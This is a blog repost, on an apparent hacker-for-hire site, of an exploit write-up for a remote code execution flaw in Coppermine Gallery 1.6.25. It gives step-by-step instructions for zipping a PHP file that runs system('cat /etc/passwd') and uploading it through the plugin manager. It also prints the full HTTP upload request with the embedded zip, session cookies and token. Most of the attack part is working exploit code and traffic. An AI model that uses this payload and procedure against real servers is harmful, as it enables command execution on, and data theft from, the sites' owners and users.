Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863557211

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Exploit Title: coppermine-gallery 1.6.25 RCE
Application: coppermine-gallery
Version: v1.6.25  
Bugs:  RCE
Technology: PHP
Vendor URL: https://coppermine-gallery.net/
Software Link: https://github.com/coppermine-gallery/cpg1.6.x/archive/refs/tags/v1.6.25.zip
Date of found: 05.09.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps


1.First of All create php file content as <?php echo system('cat /etc/passwd'); ?> and sequeze this file with zip.
$ cat >> test.php 
<?php echo system('cat /etc/passwd'); ?>
$ zip test.zip test.php

1. Login to account
2. Go to http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
3. Upload zip file
4. Visit to php file   http://localhost/cpg1.6.x-1.6.25/plugins/test.php



poc request

POST /cpg1.6.x-1.6.25/pluginmgr.php?op=upload HTTP/1.1
Host: localhost
Content-Length: 630
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi1AopwPnBYPdzorF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cpg16x_data=YTo0OntzOjI6IklEIjtzOjMyOiI0MmE1Njk2NzhhOWE3YTU3ZTI2ZDgwYThlYjZkODQ4ZCI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; cpg16x_fav=YToxOntpOjA7aToxO30%3D; d4e0836e1827aa38008bc6feddf97eb4=93ffa260bd94973848c10e15e50b342c
Connection: close

------WebKitFormBoundaryi1AopwPnBYPdzorF
Content-Disposition: form-data; name="plugin"; filename="test.zip"
Content-Type: application/zip

PK
�����b%Wz½µ}(���(�����test.phpUT	�ñòödÓòödux���������<?php echo system('cat /etc/passwd');?>
PK
�����b%Wz½µ}(���(������������¤����test.phpUT�ñòödux���������PK������N���j�����
------WebKitFormBoundaryi1AopwPnBYPdzorF
Content-Disposition: form-data; name="form_token"

50982f2e64a7bfa63dbd912a7fdb4e1e
------WebKitFormBoundaryi1AopwPnBYPdzorF
Content-Disposition: form-data; name="timestamp"

1693905214
------WebKitFormBoundaryi1AopwPnBYPdzorF--